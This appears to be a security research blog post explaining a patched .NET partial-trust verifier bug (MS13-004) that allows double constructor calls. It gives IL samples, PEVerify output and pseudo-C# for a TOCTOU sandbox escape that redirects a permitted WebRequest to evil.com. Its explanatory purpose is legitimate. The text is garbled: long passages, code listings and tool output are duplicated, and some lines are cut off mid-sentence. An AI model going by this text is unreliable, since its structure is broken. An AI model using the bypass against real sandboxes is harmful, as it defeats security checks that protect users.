IL Verification and Partial Trust
If you've ever dealt with partial trust .NET applications you might know about the IL verifier. Even though .NET is effectively type safe it's possible to write bad IL code (for example code which calls a method on the wrong type of object). The framework has a verifier which will scan the IL of the method it's going to JIT and ensure that it meets a number of requirements so that type safety can be enforced. This has a performance impact so MS decided only to apply it when emitting code for a PT assembly. If you're running in full trust then you can just invoke unsafe code or call through P/INVOKE so doing additional verification doesn't seem worth the effort.From a EoP perspective testing the boundaries of the IL verifier is important, if you can sneak something past the verifier you might be able to create unsafe code which can be exploited to break out the PT sandbox. For whatever reason one day I decided to look at the handling of object constructors. Even though constructors are pretty much like methods (except they're marked with the special name .ctor), they have special rules as stated in ECMA-335 :
- CLS Rule 21: An object constructor shall call some instance constructor of its base class before any access occurs to inherited instance data. (This does not apply to value types, which need not have constructors.)
- CLS Rule 22: An object constructor shall not be called except as part of the creation of an object, and an object shall not be initialized twice.
Of course these are Common Language Specification rules which just ensures interoperability, it doesn't necessarily translate into a list of rules for the verifier. But you'd kind of assume it would match up. However looking further in §1.8.1.4 we find the following when referring to the verification of "Class and object initialization rules":
"An object constructor shall not return unless a constructor for the base class or a different
construct for the object’s class has been called on the newly constructed object. The verification
algorithm shall treat the this pointer as uninitialized unless the base class constructor has been
called. No operations can be performed on an uninitialized this except for storing into and
loading from the object’s fields."
This snippet doesn't mention anything about double initialization. Perhaps there's a bug here, let's test this out.
Let's first create two classes in C# and compile it to an assembly using Visual Studio or the command line CSC compiler:
using System; class A { private int _x; protected A(int x) { _x = x; } public override string ToString() { return String.Format("x={0}", _x); } } class B : A { public B() : base(1234) { Console.WriteLine(this); } } class MainClass { static void Main() { new B(); } }
Testing the Double Construction Verification Error
C# doesn't allow us to easily create malformed IL code. We could use the System.Reflection.Emit classes to generate the malformed IL code on the fly, but I find it quicker to use the IL assembler which ships with the .NET framework.Let's first create two classes in C# and compile it to an assembly using Visual Studio or the command line CSC compiler:
using System; class A { private int _x; protected A(int x) { _x = x; } public override string ToString() { return String.Format("x={0}", _x); } } class B : A { public B() : base(1234) { Console.WriteLine(this); } } class MainClass { static void Main() { new B(); } }
We have two classes A and B. B is derived from A and calls the base constructor passing the value 1234. We then write the this object to the console, which calls ToString. Running this on its own results in writing x=1234 to the console. So far no surprises. Now let's disassemble the assembly code, I'd recommend the ILDasm tool which comes with the .NET SDK for this as it generates IL code which is easily assembled again. Run the command "ildasm /OUT=output.il program.exe" replacing "program.exe" with the name of the compiled C# program. We can now pick out the IL code for the B class as shown:
.class private auto ansi beforefieldinit B
extends A
{
.method public hidebysig specialname rtspecialname
instance void .ctor() cil managed
{
// Code size 18 (0x12)
.maxstack 8
IL_0000: ldarg.0
IL_0001: ldc.i4 0x4d2
IL_0006: call instance void A::.ctor(int32)
IL_000b: ldarg.0
IL_000c: call void [mscorlib]System.Console::WriteLine(object)
IL_0011: ret
} // end of method B::.ctor
} // end of class B
The call to the base constructor is the first three instructions. First the this pointer is pushed onto the evaluation stack with the ldarg.0 instruction. The ldarg instruction pushes the numbered argument to the current function onto the stack, and like in C++ the this argument is a hidden first argument to the function. We then push the constant 0x4D2, or 1234 on to the evaluation stack and then call the instance method constructor for A which takes a single 32 bit integer. Let's see what happens if we just don't call the base constructor. For that remove the first 3 instructions of the constructor, either delete or just comment them out. Now run the IL assembler to recreate the program using the command "ilasm.exe /OUTPUT=program_no_base_call.exe output.il". Run the created executable and be prepared to be shocked when nothing really happens, other than instead of printing "x=1234" we get "x=0". Ultimately the run time is still mostly type safe, sure you've not called the base constructor but the normal object creation routines did ensure that the _x field was initialized to 0.
As nothing happened, perhaps this will work in PT. First things first let's run the verifier on the assembly to see what the CLR thinks about the missing call to the base constructor. The SDK comes with a tool PEVerify which will verify the assembly passed to it and report and verification failures.
C:\> peverify program_no_base.exe
Microsoft (R) .NET Framework PE Verifier. Version 4.0.30319.0
Copyright (c) Microsoft Corporation. All rights reserved.
[IL]: Error: [program_no_base.exe : B::.ctor][offset 0x00000001][found ref ('this' ptr) 'B'][expected ref 'System.Object'] Unexpected type on the stack.
[IL]: Error: [program_no_base.exe : B::.ctor][offset 0x00000006] Return from .ctor when this is uninitialized.
2 Error(s) Verifying program_no_base.exe
The verifier actually reports two errors, the first error is reported after pushing the this pointer on the stack to pass to System.Console.WriteLine. This error represents the check to ensure that the this pointer isn't used unitialized. The verifier maintains a state for the this pointer, initially it's but after the this pointer is passed to a constructor the type changes to the appropriate type for the class. The second error checks any constructor is called prior to returning from the constructor. But does it fail if we run it in PT? To test that we can run this code in an XBAP or a restricted ClickOnce application. I just have a simple test harness which runs the code inside a limited sandbox. If you execute the code as PT you immediately see the following exception:
Unhandled Exception: System.Security.VerificationException: Operation could destabilize the runtime.
at B..ctor()
at MainClass.Main()
VerificationException is where dreams of sandbox escapes go to die. At least the verifier is consistent, and there's a good reason for that. The verifier used in PEVerify is not an isolated copy of the verification rules used in the framework. The tool accesses a COM interface from the runtime (ICLRValidator if you're interested), so what PEVerify outputs as errors should match what the runtime actually uses. What about double initialization? Replace the construction function in B with the following and reassemble again:
.method public hidebysig specialname rtspecialname
instance void .ctor() cil managed
{
.maxstack 8
ldarg.0
ldc.i4 0x4d2
call instance void A::.ctor(int32)
ldarg.0
call void [mscorlib]System.Console::WriteLine(object)
ldarg.0
ldc.i4 42
call instance void A::.ctor(int32)
ldarg.0
call void [mscorlib]System.Console::WriteLine(object)
ret
} // end of method B::.ctor
This replacement constructor just repeats the call to the constructor and the call to WriteLine but replaces the number with 42 when initializing the internal field the second time. Running this with full trust will print "x=1234" following by "x=42" as you might expect. However, running this in PT mode, gives the same result as long you're running an old version of .NET 2 or 4 prior to the MS13-004 patch. Running PEVerify shows what we suspect, the double construction isn't detected:
Microsoft (R) .NET Framework PE Verifier. Version 4.0.30319.0
Copyright (c) Microsoft Corporation. All rights reserved.
All Classes and Methods in program_double_con.exe Verified.
The patch for MS13-004 just added a verification rule to detect this condition. If you now run PEVerify on the binary with an up to date version of .NET you'll see the following verification error.
[IL]: Error: [program_double_con.exe : B::.ctor][offset 0x00000017] Init state for this differs depending on path.
1 Error(s) Verifying program_double_con.exe
As I mentioned, as PEVerify uses the runtime's verifier we didn't need to update the tool, just the runtime to detect the new error. To wrap-up let's see an example of a use case for this issue to elevate privileges.
.class private auto ansi beforefieldinit B
extends A
{
.method public hidebysig specialname rtspecialname
instance void .ctor() cil managed
{
// Code size 18 (0x12)
.maxstack 8
IL_0000: ldarg.0
IL_0001: ldc.i4 0x4d2
IL_0006: call instance void A::.ctor(int32)
IL_000b: ldarg.0
IL_000c: call void [mscorlib]System.Console::WriteLine(object)
IL_0011: ret
} // end of method B::.ctor
} // end of class B
As nothing happened, perhaps this will work in PT. First things first let's run the verifier on the assembly to see what the CLR thinks about the missing call to the base constructor. The SDK comes with a tool PEVerify which will verify the assembly passed to it and report and verification failures.
C:\> peverify program_no_base.exe
Microsoft (R) .NET Framework PE Verifier. Version 4.0.30319.0
Copyright (c) Microsoft Corporation. All rights reserved.
[IL]: Error: [program_no_base.exe : B::.ctor][offset 0x00000001][found
[IL]: Error: [program_no_base.exe : B::.ctor][offset 0x00000006] Return from .ctor when this is uninitialized.
2 Error(s) Verifying program_no_base.exe
The verifier actually reports two errors, the first error is reported after pushing the this pointer on the stack to pass to System.Console.WriteLine. This error represents the check to ensure that the this pointer isn't used unitialized. The verifier maintains a state for the this pointer, initially it's
Unhandled Exception: System.Security.VerificationException: Operation could destabilize the runtime.
at B..ctor()
at MainClass.Main()
VerificationException is where dreams of sandbox escapes go to die. At least the verifier is consistent, and there's a good reason for that. The verifier used in PEVerify is not an isolated copy of the verification rules used in the framework. The tool accesses a COM interface from the runtime (ICLRValidator if you're interested), so what PEVerify outputs as errors should match what the runtime actually uses. What about double initialization? Replace the construction function in B with the following and reassemble again:
.method public hidebysig specialname rtspecialname
instance void .ctor() cil managed
{
.maxstack 8
ldarg.0
ldc.i4 0x4d2
call instance void A::.ctor(int32)
ldarg.0
call void [mscorlib]System.Console::WriteLine(object)
ldarg.0
ldc.i4 42
call instance void A::.ctor(int32)
ldarg.0
call void [mscorlib]System.Console::WriteLine(object)
ret
} // end of method B::.ctor
This replacement constructor just repeats the call to the constructor and the call to WriteLine but replaces the number with 42 when initializing the internal field the second time. Running this with full trust will print "x=1234" following by "x=42" as you might expect. However, running this in PT mode, gives the same result as long you're running an old version of .NET 2 or 4 prior to the MS13-004 patch. Running PEVerify shows what we suspect, the double construction isn't detected:
Microsoft (R) .NET Framework PE Verifier. Version 4.0.30319.0
Copyright (c) Microsoft Corporation. All rights reserved.
All Classes and Methods in program_double_con.exe Verified.
The patch for MS13-004 just added a verification rule to detect this condition. If you now run PEVerify on the binary with an up to date version of .NET you'll see the following verification error.
[IL]: Error: [program_double_con.exe : B::.ctor][offset 0x00000017] Init state for this differs depending on path.
1 Error(s) Verifying program_double_con.exe
As I mentioned, as PEVerify uses the runtime's verifier we didn't need to update the tool, just the runtime to detect the new error. To wrap-up let's see an example of a use case for this issue to elevate privileges.
Example Use Case
One of the simplest ways of abusing this feature is performing a TOCTOU attack on system class library code which assumes an object's immutable as you can't construct it twice. A good example of a class which implements this pattern is the System.Uri class. The Uri class has no methods to change the contents outside of the constructor, so it's effectively immutable. However, with the ability to call a constructor twice we can change the target the class represents, without changing the object reference. This means if we can get some system code to first check the Uri object is safe, and then stores the verified Uri object reference to use later we can change the target and circumvent a security check.
A perfect example of this is the System.Net.WebRequest class. The class has a Create method which takes a Uri object. If we pass a HTTP URI we end up in the HttpWebRequest internal class constructor which has the following code (heavily edited to remove unnecessary initialization):
internal HttpWebRequest(Uri uri) {
new WebPermission(NetworkAccess.Connect, uri).Demand();
this._Uri = uri;
// Just initialize the rest.
}
The code first demands that the caller has NetworkAccess.Connect permission to the target URI. If that succeeds then it stores the Uri object for later use. The created HttpWebRequest object never checks the Uri again and it's used directly when we eventually call the GetResponse method.
For this to work you at least need a WebPermission grant in the PT sandbox you're trying to exploit. Fortunately if you deployed this through an XBAP you'd be granted permission to communicate back to the source web site, and in this time you could even load the XBAP without a prompt (what a world). So assuming you deploy the application from http://www.safe.com and you want to communicate with http://www.evil.com then the following pseudo C# will do that for you:
class MyUri : Uri {
public MyUri() {
base("http://www.safe.com");
// Create web request while we're safe.
WebRequest request = WebRequest.Create(this);
base("http://www.evil.com");
// Use request to talk to http://evil.com
}
}
We construct a derived Uri class (even though Uri is immutable it can still be derived from). Then in the constructor we call the base constructor with the safe URI we've got permission to communicate to. At this point the this pointer is valid according to the verifier. We can now pass the this pointer to the WebRequest creation call, it'll do the check but it's allowed. Finally we recall the constructor to change the underlying URI to the different location. If we get the response from the WebRequest we'll communicate with http://www.evil.com instead.
You still need to convert this into an actually implementation, you can't compiled it from that pseudo C#. But I'll leave that as an exercise for the reader.